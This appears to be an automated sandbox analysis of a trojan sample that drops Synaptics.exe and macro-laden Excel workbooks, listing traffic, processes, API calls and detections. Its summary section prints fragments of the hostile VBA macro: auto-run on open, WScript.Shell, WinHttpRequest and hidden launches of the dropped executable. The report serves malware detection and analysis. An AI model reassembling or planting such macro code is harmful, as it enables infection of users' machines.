Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50097 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50157 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900

Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.65:443 -> 192.168.2.9:49803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.65:443 -> 192.168.2.9:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:49865 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:49868 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:49890 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:49891 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.65:443 -> 192.168.2.9:49900 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.65:443 -> 192.168.2.9:49903 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:49902 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:49901 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:49924 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:49927 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:49946 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:49949 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.65:443 -> 192.168.2.9:49959 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.65:443 -> 192.168.2.9:49961 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.65:443 -> 192.168.2.9:49985 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.65:443 -> 192.168.2.9:49988 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50007 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50023 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50034 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50033 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50044 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50046 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50063 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50064 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.65:443 -> 192.168.2.9:50073 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50075 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.65:443 -> 192.168.2.9:50076 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50074 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50083 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50086 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50115 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50116 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.65:443 -> 192.168.2.9:50123 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.65:443 -> 192.168.2.9:50126 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50133 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50134 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50143 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.65:443 -> 192.168.2.9:50144 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50145 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.65:443 -> 192.168.2.9:50147 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.65:443 -> 192.168.2.9:50149 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50155 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50157 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50165 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50166 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50170 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50171 version: TLS 1.2

System Summary

Document contains an embedded VBA macro with suspicious strings

Source: ofbduaaa.xlsm.3.dr	OLE, VBA macro line: FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"
Source: ofbduaaa.xlsm.3.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: ofbduaaa.xlsm.3.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: ofbduaaa.xlsm.3.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: ofbduaaa.xlsm.3.dr	OLE, VBA macro line: TMP = Environ("Temp") & "\~$cache1.exe"
Source: ofbduaaa.xlsm.3.dr	OLE, VBA macro line: If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then
Source: ofbduaaa.xlsm.3.dr	OLE, VBA macro line: Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide
Source: ofbduaaa.xlsm.3.dr	OLE, VBA macro line: ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then
Source: ofbduaaa.xlsm.3.dr	OLE, VBA macro line: Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
Source: ofbduaaa.xlsm.3.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
Source: ofbduaaa.xlsm.3.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")
Source: NHPKIZUUSG.xlsm.3.dr	OLE, VBA macro line: FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"
Source: NHPKIZUUSG.xlsm.3.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: NHPKIZUUSG.xlsm.3.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: NHPKIZUUSG.xlsm.3.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: NHPKIZUUSG.xlsm.3.dr	OLE, VBA macro line: TMP = Environ("Temp") & "\~$cache1.exe"
Source: NHPKIZUUSG.xlsm.3.dr	OLE, VBA macro line: If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then
Source: NHPKIZUUSG.xlsm.3.dr	OLE, VBA macro line: Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide
Source: NHPKIZUUSG.xlsm.3.dr	OLE, VBA macro line: ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then
Source: NHPKIZUUSG.xlsm.3.dr	OLE, VBA macro line: Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
Source: NHPKIZUUSG.xlsm.3.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
Source: NHPKIZUUSG.xlsm.3.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")

Document contains an embedded VBA with functions possibly related to ADO stream file operations

Source: ofbduaaa.xlsm.3.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'ADODB.Stream' functions open, read, savetofile, write
Source: NHPKIZUUSG.xlsm.3.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'ADODB.Stream' functions open, read, savetofile, write

Document contains an embedded VBA with functions possibly related to HTTP operations

Source: ofbduaaa.xlsm.3.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'XMLHttpRequest' functions response, responsebody, responsetext, status, open, send
Source: NHPKIZUUSG.xlsm.3.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'XMLHttpRequest' functions response, responsebody, responsetext, status, open, send

Document contains an embedded VBA with functions possibly related to WSH operations (process, registry, environment, or keystrokes)

Source: ofbduaaa.xlsm.3.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'WScript.Shell' functions regread, regwrite, environ
Source: NHPKIZUUSG.xlsm.3.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'WScript.Shell' functions regread, regwrite, environ

Source: C:\Users\user\Desktop\._cache_file.exe	Code function: 2_2_01003972 OpenEventA,WaitForSingleObject,CloseHandle,Sleep,LoadLibraryA,GetProcAddress,WaitForSingleObject,GetLastError,InitiateSystemShutdownA,GetLastError,WaitForSingleObject,GetLastError,GetVersionExA,GetVersionExA,GetVersionExA,GetSystemDirectoryA,strchr,CreateFileA,FlushFileBuffers,CloseHandle,NtShutdownSystem,FreeLibrary,	2_2_01003972
Source: C:\Users\user\Desktop\._cache_file.exe	Code function: 2_2_0100358B NtOpenProcessToken,NtAdjustPrivilegesToken,NtClose,NtClose,	2_2_0100358B
Source: C:\Users\user\Desktop\._cache_file.exe	Code function: 2_2_010034F4 NtOpenProcessToken,NtAdjustPrivilegesToken,NtClose,NtClose,	2_2_010034F4

Source: C:\Users\user\Desktop\._cache_file.exe

Code function: 2_2_01002B13: GetDriveTypeA,CreateFileA,DeviceIoControl,CloseHandle,

2_2_01002B13

Source: C:\Users\user\Desktop\._cache_file.exe	Code function: 2_2_01003972 OpenEventA,WaitForSingleObject,CloseHandle,Sleep,LoadLibraryA,GetProcAddress,WaitForSingleObject,GetLastError,InitiateSystemShutdownA,GetLastError,WaitForSingleObject,GetLastError,GetVersionExA,GetVersionExA,GetVersionExA,GetSystemDirectoryA,strchr,CreateFileA,FlushFileBuffers,CloseHandle,NtShutdownSystem,FreeLibrary,		2_2_01003972
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: 4_2_6C8F4E0D ExitWindowsEx,		4_2_6C8F4E0D

Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe

File created: C:\Windows\wordpad.INI

Source: C:\Users\user\Desktop\._cache_file.exe	Code function: 2_2_01008906	2_2_01008906
Source: C:\Users\user\Desktop\._cache_file.exe	Code function: 2_2_0100911E	2_2_0100911E
Source: C:\Users\user\Desktop\._cache_file.exe	Code function: 2_2_01009558	2_2_01009558
Source: C:\Users\user\Desktop\._cache_file.exe	Code function: 2_2_01008286	2_2_01008286
Source: C:\Users\user\Desktop\._cache_file.exe	Code function: 2_2_0100859D	2_2_0100859D
Source: C:\Users\user\Desktop\._cache_file.exe	Code function: 2_2_01008CC5	2_2_01008CC5
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: 4_2_6395CBE6	4_2_6395CBE6
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: 4_2_6C5ED064	4_2_6C5ED064
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: 4_2_6C5ED81C	4_2_6C5ED81C
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: 4_2_6C5D9A50	4_2_6C5D9A50
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: 4_2_6C929F12	4_2_6C929F12
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: 4_2_6C92A9BE	4_2_6C92A9BE
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: 4_2_6C90E49E	4_2_6C90E49E
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: 4_2_6C92A468	4_2_6C92A468
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: 4_2_6C92C65E	4_2_6C92C65E
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: 4_2_6C8CF790	4_2_6C8CF790
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: 4_2_6C92B09F	4_2_6C92B09F
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: 4_2_6C92C00B	4_2_6C92C00B

Source: ofbduaaa.xlsm.3.dr	OLE, VBA macro line: Private Sub Workbook_Open()
Source: ofbduaaa.xlsm.3.dr	OLE, VBA macro line: Private Sub Workbook_BeforeClose(Cancel As Boolean)
Source: NHPKIZUUSG.xlsm.3.dr	OLE, VBA macro line: Private Sub Workbook_Open()
Source: NHPKIZUUSG.xlsm.3.dr	OLE, VBA macro line: Private Sub Workbook_BeforeClose(Cancel As Boolean)

Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: String function: 6C918B7A appears 109 times
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: String function: 6C8F85BC appears 56 times
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: String function: 6C8F833E appears 579 times
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: String function: 6C8C39AD appears 43 times
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: String function: 6397265B appears 183 times
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: String function: 6C926E1A appears 549 times
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: String function: 6395E8E8 appears 149 times

Source: C:\ProgramData\Synaptics\Synaptics.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7712 -s 3860

Source: file.exe	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: file.exe	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: Synaptics.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: Synaptics.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: RCX3CE.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: SetupResources.dll4.2.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: ~$cache1.3.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Source: SetupResources.dll1.2.dr	Static PE information: No import functions for PE file found
Source: SetupResources.dll4.2.dr	Static PE information: No import functions for PE file found
Source: SetupResources.dll.2.dr	Static PE information: No import functions for PE file found
Source: SetupResources.dll8.2.dr	Static PE information: No import functions for PE file found
Source: SetupResources.dll3.2.dr	Static PE information: No import functions for PE file found
Source: SetupResources.dll6.2.dr	Static PE information: No import functions for PE file found
Source: SetupResources.dll0.2.dr	Static PE information: No import functions for PE file found
Source: SetupResources.dll5.2.dr	Static PE information: No import functions for PE file found
Source: SetupResources.dll2.2.dr	Static PE information: No import functions for PE file found
Source: SetupResources.dll7.2.dr	Static PE information: No import functions for PE file found

Source: file.exe, 00000000.00000000.1361968808.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileName vs file.exe
Source: file.exe, 00000000.00000003.1388831651.0000000000CEE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFileName2 vs file.exe
Source: file.exe, 00000000.00000003.1388831651.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameSb;( vs file.exe
Source: file.exe, 00000000.00000002.1389590131.0000000000D10000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFileName2 vs file.exe
Source: file.exe, 00000000.00000003.1388744063.00000000026B0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameb! vs file.exe
Source: ._cache_file.exe, 00000002.00000002.2633033603.000000000101E000.00000002.00000001.01000000.00000005.sdmp	Binary or memory string: OriginalFilenamevcredist_x64.exe~/ vs file.exe
Source: ._cache_file.exe, 00000002.00000002.2633033603.000000000101E000.00000002.00000001.01000000.00000005.sdmp	Binary or memory string: OriginalFilenameSFXCAB.EXEj% vs file.exe
Source: file.exe	Binary or memory string: OriginalFileName vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenamevcredist_x64.exe~/ vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenameSFXCAB.EXEj% vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenameb! vs file.exe
Source: ._cache_file.exe.0.dr	Binary or memory string: OriginalFilenamevcredist_x64.exe~/ vs file.exe
Source: ._cache_file.exe.0.dr	Binary or memory string: OriginalFilenameSFXCAB.EXEj% vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: classification engine

Classification label: mal100.troj.expl.evad.winEXE@16/120@11/3

Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe

Code function: 4_2_6396681A __EH_prolog3,GetLastError,GetLastError,SetLastError,SetLastError,FormatMessageW,GetLastError,SetLastError,LocalFree,

4_2_6396681A

Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe

Code function: 4_2_6C8F4DC9 AdjustTokenPrivileges,

4_2_6C8F4DC9

Source: C:\Users\user\Desktop\._cache_file.exe

Code function: 2_2_01004F6B InitializeSecurityDescriptor,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,GetCurrentDirectoryA,GetSystemDirectoryA,QueryDosDeviceA,_strlwr,strstr,strstr,strstr,GetDiskFreeSpaceA,CryptAcquireContextA,sprintf,CryptGenRandom,sprintf,sprintf,CryptReleaseContext,GetSystemTime,SystemTimeToFileTime,DialogBoxParamA,DosDateTimeToFileTime,LocalFileTimeToFileTime,SetFileTime,CloseHandle,SendDlgItemMessageA,MoveFileExA,strstr,_stricmp,SendDlgItemMessageA,GetLastError,CreateFileA,SetFilePointer,SetFilePointer,SetEndOfFile,SetFilePointer,

2_2_01004F6B

Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe

Code function: 4_2_6394EFE2 CreateToolhelp32Snapshot,_memset,Process32FirstW,Process32NextW,CloseHandle,

4_2_6394EFE2

Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe

Code function: 4_2_6394DBFF __EH_prolog3,CoCreateInstance,SysFreeString,__CxxThrowException@8,SysFreeString,

4_2_6394DBFF

Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe

Code function: 4_2_63967A10 LoadResource,LockResource,SizeofResource,

4_2_63967A10

Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe

Code function: 4_2_6C8EE9B4 ChangeServiceConfigW,

4_2_6C8EE9B4

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\Office\Heartbeat\HeartbeatCache.xml

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\Desktop\._cache_file.exe

Jump to behavior

Source: C:\ProgramData\Synaptics\Synaptics.exe	Mutant created: \Sessions\1\BaseNamedObjects\Synaptics2X
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\VC_Redist_SetupMutex
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7712

Source: C:\ProgramData\Synaptics\Synaptics.exe

File created: C:\Users\user\AppData\Local\Temp\ofbduaaa.xlsm

Jump to behavior

Source: Yara match	File source: file.exe, type: SAMPLE
Source: Yara match	File source: 0.0.file.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1361968808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: C:\ProgramData\Synaptics\RCX3CE.tmp, type: DROPPED
Source: Yara match	File source: C:\Users\user\Documents\AFWAAFRXKO\~$cache1, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED

Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe

Command line argument: pJ)

4_2_002949C0

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

ReversingLabs: Detection: 92%

Source: Setup.exe

String found in binary or memory: Pre-Installation Warnings:

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\Desktop\._cache_file.exe "C:\Users\user\Desktop\._cache_file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
Source: C:\Users\user\Desktop\._cache_file.exe	Process created: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe c:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe
Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Source: unknown	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe"
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Process created: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe "C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe" c:\36a8a8e2fed651ec27d1eed188bb35\1033\EULA.rtf /p
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Process created: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe "C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe" c:\36a8a8e2fed651ec27d1eed188bb35\1033\EULA.rtf /p
Source: C:\ProgramData\Synaptics\Synaptics.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7712 -s 3860
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\Desktop\._cache_file.exe "C:\Users\user\Desktop\._cache_file.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Process created: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe c:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Process created: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe "C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe" c:\36a8a8e2fed651ec27d1eed188bb35\1033\EULA.rtf /p	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Process created: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe "C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe" c:\36a8a8e2fed651ec27d1eed188bb35\1033\EULA.rtf /p	Jump to behavior
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
